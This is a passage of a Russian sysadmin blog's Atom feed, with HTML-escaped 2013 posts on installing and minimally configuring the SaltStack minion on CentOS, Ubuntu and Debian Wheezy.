</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/8393924582506857191/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2013/04/postfix-dovecot-sasl-virtualhosts.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/8393924582506857191'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/8393924582506857191'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2013/04/postfix-dovecot-sasl-virtualhosts.html' title='Postfix и Dovecot SASL + VirtualHosts в CentOS 6 x86_64'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFd2OYhGHp4N8UCgTO22_kv5dD0uAGa9xGthiphjTw_ahKFX2JsQRrDVIekcWzysLJ6iYtX8lxiJRzGLKizsNXO82XbFXPmuYtwtwS_OJzAhJFBG2y7fro1eb5AmsG97xzadpNe1w1ItNX/s72-c/dovecot.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-2261679176085025409</id><published>2013-04-26T14:00:00.000+07:00</published><updated>2013-04-26T18:07:06.247+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CentOS"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Salt"/><category scheme="http://www.blogger.com/atom/ns#" term="SaltStack"/><title type='text'>SaltStack - Установка saltstack-minion на CentOS</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqthPqAyWV_5O9ZWRowMtKrtkV0l0rAo-lcbmdO5MJBFXOOV4TDMDfhkKPJkT8Cdzshx11V99qUHbjIm6yvl9gOUaNFH-tGbAD_LUUElGABZpot3zjIFOx_WeQgKva23UDEZo9MuSqbty7/s1600/SaltStack-Logo.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;91&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqthPqAyWV_5O9ZWRowMtKrtkV0l0rAo-lcbmdO5MJBFXOOV4TDMDfhkKPJkT8Cdzshx11V99qUHbjIm6yvl9gOUaNFH-tGbAD_LUUElGABZpot3zjIFOx_WeQgKva23UDEZo9MuSqbty7/s320/SaltStack-Logo.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Что такое SaltStack и с чем его едят я описал &lt;b&gt;&lt;a href=&quot;http://sc0rp1us.blogspot.ru/2013/04/saltstack.html&quot;&gt;тут&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
В текущей статье я опишу как установить&amp;nbsp;SaltStack-minion на &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.centos.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;CentOS&quot;&gt;CentOS&lt;/a&gt;&lt;br /&gt;
Этот мануал подходит для CentOS 5/6 x68_64/i386&lt;br /&gt;
&lt;br /&gt;
Кстати говоря saltstack-master можно установить таким же образом&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Устанавливаем&amp;nbsp;saltstack-minion&lt;/h3&gt;
&lt;div&gt;
Прежде всего необходимо подключить последнюю версию репозитория&amp;nbsp;EPEL&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;rpm -Uvh &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Hypertext Transfer Protocol&quot;&gt;http&lt;/a&gt;&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/download.fedoraproject.org/pub/epel&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;$&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Grep&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Grep&quot;&gt;grep&lt;/a&gt; &lt;span style=&quot;color: #44aadd;&quot;&gt;-o&lt;/span&gt; -P &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;\d&#39;&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/issue&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; head -n1&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;$&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;arch&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;$&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;wget &lt;span style=&quot;color: #44aadd;&quot;&gt;-O&lt;/span&gt; - http&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/download.fedoraproject.org/pub/epel&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
$&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;grep &lt;span style=&quot;color: #44aadd;&quot;&gt;-o&lt;/span&gt; -P &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;\d&#39;&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;issue&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; head -n1&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;$&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;arch&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki//dev/null&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;/dev/null&quot;&gt;/dev/null&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; grep &lt;span style=&quot;color: #44aadd;&quot;&gt;-o&lt;/span&gt; -P &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;epel-release-\d-\d\.noarch\.rpm&#39;&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; head -n1&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Теперь можно приступить к самой установке&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;yum --enablerepo&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;epel-testing install salt-minion -y
&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/init.d/salt-minion&lt;/span&gt; start
&lt;span style=&quot;color: #40015a;&quot;&gt;/sbin/chkconfig&lt;/span&gt; salt-minion on&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
&lt;/h3&gt;
&lt;h3&gt;
Минимальная настройка saltstack-minion&lt;/h3&gt;
&lt;blockquote&gt;
&lt;/blockquote&gt;
По умолчанию saltstack-minion пытается подключиться к серверу с хостнеймом salt но если у вашего&amp;nbsp;saltstack-master&#39;a другое имя, или он не имеет имени, то поправить это можно в файле&amp;nbsp;/etc/salt/minion&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;b&gt;Пример:&lt;/b&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;- &lt;span style=&quot;color: #c34e00;&quot;&gt;#master: salt&lt;/span&gt;
+ master&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;b&gt;Осталось перезапустить миньёна:&lt;/b&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/init.d/salt-minion&lt;/span&gt; restart&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_a.png?x-id=de0cf060-2d49-419e-b7cd-976110241ac0&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/2261679176085025409/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2013/04/saltstack-saltstack-minion-centos.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/2261679176085025409'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/2261679176085025409'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2013/04/saltstack-saltstack-minion-centos.html' title='SaltStack - Установка saltstack-minion на CentOS'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqthPqAyWV_5O9ZWRowMtKrtkV0l0rAo-lcbmdO5MJBFXOOV4TDMDfhkKPJkT8Cdzshx11V99qUHbjIm6yvl9gOUaNFH-tGbAD_LUUElGABZpot3zjIFOx_WeQgKva23UDEZo9MuSqbty7/s72-c/SaltStack-Logo.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-1220279855769603765</id><published>2013-04-25T16:51:00.000+07:00</published><updated>2013-04-25T16:51:41.932+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Salt"/><category scheme="http://www.blogger.com/atom/ns#" term="SaltStack"/><category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu"/><title type='text'>SaltStack - Установка saltstack-minion на Ubuntu</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqthPqAyWV_5O9ZWRowMtKrtkV0l0rAo-lcbmdO5MJBFXOOV4TDMDfhkKPJkT8Cdzshx11V99qUHbjIm6yvl9gOUaNFH-tGbAD_LUUElGABZpot3zjIFOx_WeQgKva23UDEZo9MuSqbty7/s1600/SaltStack-Logo.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;91&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqthPqAyWV_5O9ZWRowMtKrtkV0l0rAo-lcbmdO5MJBFXOOV4TDMDfhkKPJkT8Cdzshx11V99qUHbjIm6yvl9gOUaNFH-tGbAD_LUUElGABZpot3zjIFOx_WeQgKva23UDEZo9MuSqbty7/s320/SaltStack-Logo.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Что такое SaltStack и с чем его едят я описал &lt;b&gt;&lt;a href=&quot;http://sc0rp1us.blogspot.ru/2013/04/saltstack.html&quot;&gt;тут&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
В текущей статье я опишу как установить&amp;nbsp;SaltStack-minion на &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.ubuntu.com/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Ubuntu (operating system)&quot;&gt;Ubuntu&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Кстати говоря saltstack-master можно установить таким же образом&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Устанавливаем&amp;nbsp;saltstack-minion&lt;/h3&gt;
&lt;div&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;sudo &lt;a class=&quot;zem_slink&quot; href=&quot;http://wiki.debian.org/Apt&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Advanced Packaging Tool&quot;&gt;apt-get&lt;/a&gt; install python-software-properties&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 software-properties-common -y
sudo add-apt-repository ppa&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;saltstack/&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Salt&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Salt&quot;&gt;salt&lt;/a&gt; -y&lt;/span&gt;
sudo apt-get update
sudo apt-get install salt-minion -y&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;h3&gt;
Минимальная настройка saltstack-minion&lt;/h3&gt;
&lt;blockquote&gt;
&lt;/blockquote&gt;
По умолчанию saltstack-minion пытается подключиться к серверу с хостнеймом salt но если у вашего&amp;nbsp;saltstack-master&#39;a другое имя, или он не имеет имени, то поправить это можно в файле&amp;nbsp;/etc/salt/minion&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;b&gt;Пример:&lt;/b&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;- &lt;span style=&quot;color: #c34e00;&quot;&gt;#master: salt&lt;/span&gt;
+ master&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #c00000;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;1&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;b&gt;Осталось перезапустить миньёна:&lt;/b&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/etc/init.d/salt-minion&lt;/span&gt; restart&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;


&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_a.png?x-id=9a94e5fe-96ee-4889-a0ba-4901c4c814b0&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/1220279855769603765/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2013/04/saltstack-saltstack-minion-ubuntu.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/1220279855769603765'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/1220279855769603765'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2013/04/saltstack-saltstack-minion-ubuntu.html' title='SaltStack - Установка saltstack-minion на Ubuntu'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqthPqAyWV_5O9ZWRowMtKrtkV0l0rAo-lcbmdO5MJBFXOOV4TDMDfhkKPJkT8Cdzshx11V99qUHbjIm6yvl9gOUaNFH-tGbAD_LUUElGABZpot3zjIFOx_WeQgKva23UDEZo9MuSqbty7/s72-c/SaltStack-Logo.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-6627911697704583613</id><published>2013-04-25T14:42:00.000+07:00</published><updated>2013-05-29T17:25:18.279+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Debian"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="SaltStack"/><title type='text'>SaltStack - Установка saltstack-minion на Debian Wheezy x86_64</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqthPqAyWV_5O9ZWRowMtKrtkV0l0rAo-lcbmdO5MJBFXOOV4TDMDfhkKPJkT8Cdzshx11V99qUHbjIm6yvl9gOUaNFH-tGbAD_LUUElGABZpot3zjIFOx_WeQgKva23UDEZo9MuSqbty7/s1600/SaltStack-Logo.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;91&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqthPqAyWV_5O9ZWRowMtKrtkV0l0rAo-lcbmdO5MJBFXOOV4TDMDfhkKPJkT8Cdzshx11V99qUHbjIm6yvl9gOUaNFH-tGbAD_LUUElGABZpot3zjIFOx_WeQgKva23UDEZo9MuSqbty7/s320/SaltStack-Logo.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Что такое SaltStack и с чем его едят я описал &lt;b&gt;&lt;a href=&quot;http://sc0rp1us.blogspot.ru/2013/04/saltstack.html&quot;&gt;тут&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
В текущей статье я опишу как установить&amp;nbsp;SaltStack-minion на&amp;nbsp;&lt;a class=&quot;zem_slink&quot; href=&quot;http://www.debian.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Debian&quot;&gt;Debian Wheezy&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote style=&quot;-webkit-text-stroke-width: 0px; color: black; font-family: &#39;Times New Roman&#39;; font-size: medium; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;&quot;&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;h3 style=&quot;-webkit-text-stroke-width: 0px; color: black; font-family: &#39;Times New Roman&#39;; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: normal; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;&quot;&gt;
Устанавливаем&amp;nbsp;saltstack-minion из репозитария&lt;/h3&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;cat &lt;span style=&quot;color: #e34adc;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/etc/apt/sources.list.d/&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Salt&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Salt&quot;&gt;salt&lt;/a&gt;.list&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #e34adc;&quot;&gt;EOF&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;color: #e60000;&quot;&gt;deb http://debian.saltstack.com/debian wheezy-saltstack main&lt;/span&gt;
&lt;span style=&quot;color: #e34adc;&quot;&gt;EOF&lt;/span&gt;
wget -q -O- &lt;span style=&quot;color: #e60000;&quot;&gt;&quot;http:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/debian.saltstack.com/debian-salt-team-joehealy.gpg.key&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;|&lt;/span&gt; apt-key add -
&lt;a class=&quot;zem_slink&quot; href=&quot;http://wiki.debian.org/Apt&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Advanced Packaging Tool&quot;&gt;apt-get&lt;/a&gt; update
apt-get install salt-minion -y&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div style=&quot;text-align: right;&quot;&gt;
&lt;br /&gt;
Если по какой то причине вы хотите собрать её в ручную то:&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;h3 style=&quot;text-align: left;&quot;&gt;
Устанавливаем&amp;nbsp;saltstack-minion из исходников&lt;/h3&gt;
&lt;blockquote&gt;
&lt;/blockquote&gt;
Установим всё что необходимо для сборки&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;apt-get update
apt-get install build-essential fakeroot python-argparse&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 python-zmq &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Debhelper&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Debhelper&quot;&gt;debhelper&lt;/a&gt; python-sphinx python-crypto&lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 python-m2crypto python-yaml msgpack-python -y&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;
стянем исходники с github&#39;a&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Mkdir&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Mkdir&quot;&gt;mkdir&lt;/a&gt; &lt;span style=&quot;color: #44aadd;&quot;&gt;-p&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/usr/src&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;cd&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/usr/src&lt;/span&gt;
git clone https&lt;span style=&quot;color: #806030;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/github.com/saltstack/salt.git&lt;/span&gt;
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;cd&lt;/span&gt; salt
fakeroot &lt;span style=&quot;color: #40015a;&quot;&gt;debian/rules&lt;/span&gt; binary&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;br /&gt;
теперь приступим к установке(то что описано ниже, это не опечатка, а костыль)&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://www.debian.org/doc/FAQ/ch-pkgtools.en.html&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Dpkg&quot;&gt;dpkg&lt;/a&gt; -i &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/salt-common_&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;deb &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/salt-minion&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;deb
apt-get &lt;span style=&quot;color: #44aadd;&quot;&gt;-f&lt;/span&gt; install
dpkg -i &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/salt-common_&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;deb &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/salt-minion&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;deb&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;h3&gt;
Минимальная настройка saltstack-minion&lt;/h3&gt;
&lt;blockquote&gt;
&lt;/blockquote&gt;
По умолчанию saltstack-minion пытается подключиться к серверу с хостнеймом salt но если у вашего&amp;nbsp;saltstack-master&#39;a другое имя, или он не имеет имени, то поправить это можно в файле&amp;nbsp;/etc/salt/minion&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;b&gt;Пример:&lt;/b&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;- &lt;span style=&quot;color: #c34e00;&quot;&gt;#master: salt&lt;/span&gt;
